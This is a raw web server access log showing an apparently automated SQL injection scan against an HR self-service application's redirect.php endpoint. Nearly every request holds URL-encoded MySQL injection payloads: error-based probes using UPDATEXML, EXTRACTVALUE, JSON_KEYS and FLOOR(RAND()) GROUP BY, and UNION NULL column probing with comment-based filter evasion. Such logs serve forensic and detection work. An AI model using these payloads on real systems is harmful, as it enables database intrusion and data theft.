100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3444496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6d3839%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FxeoT&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3444496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6d3839%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FxeoT&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x526e7241%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47675273%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FwmA4%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x526e7241%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47675273%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FwmA4%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x69394b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50324a36%29%29%2C1%29%23%2F%2A%2A%2FrhB5&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x69394b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50324a36%29%29%2C1%29%23%2F%2A%2A%2FrhB5&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x75594239%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6e467a%29%29%2C1%29%23%2F%2A%2A%2FVOFN&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x75594239%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6e467a%29%29%2C1%29%23%2F%2A%2A%2FVOFN&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43794e4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31736364%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43794e4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31736364%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52433875%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31624862%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FrBAS%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52433875%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31624862%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FrBAS%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x43316c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4f7743%29%2C5431%29%23%2F%2A%2A%2FK7ZK&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x43316c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4f7743%29%2C5431%29%23%2F%2A%2A%2FK7ZK&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7257754a%2C%28NULL%29%2C0x744f5355%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fy5XG%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7257754a%2C%28NULL%29%2C0x744f5355%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fy5XG%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56384768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e374958%29%2C5431%29%23%2F%2A%2A%2FuT1E&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56384768%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e374958%29%2C5431%29%23%2F%2A%2A%2FuT1E&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a343876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42577249%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FPJRB&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a343876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42577249%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FPJRB&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3444496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c6d3839%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FxeoT&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x526e7241%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47675273%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FwmA4%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x69394b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50324a36%29%29%2C1%29%23%2F%2A%2A%2FrhB5&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x75594239%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6e467a%29%29%2C1%29%23%2F%2A%2A%2FVOFN&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43794e4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31736364%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52433875%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31624862%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FrBAS%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x644c3671%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6e4776%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZgCL&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x644c3671%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6e4776%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZgCL&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x62704476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a50547a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FdE3f&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x62704476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a50547a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FdE3f&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x64635159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76423336%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FPrWa&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
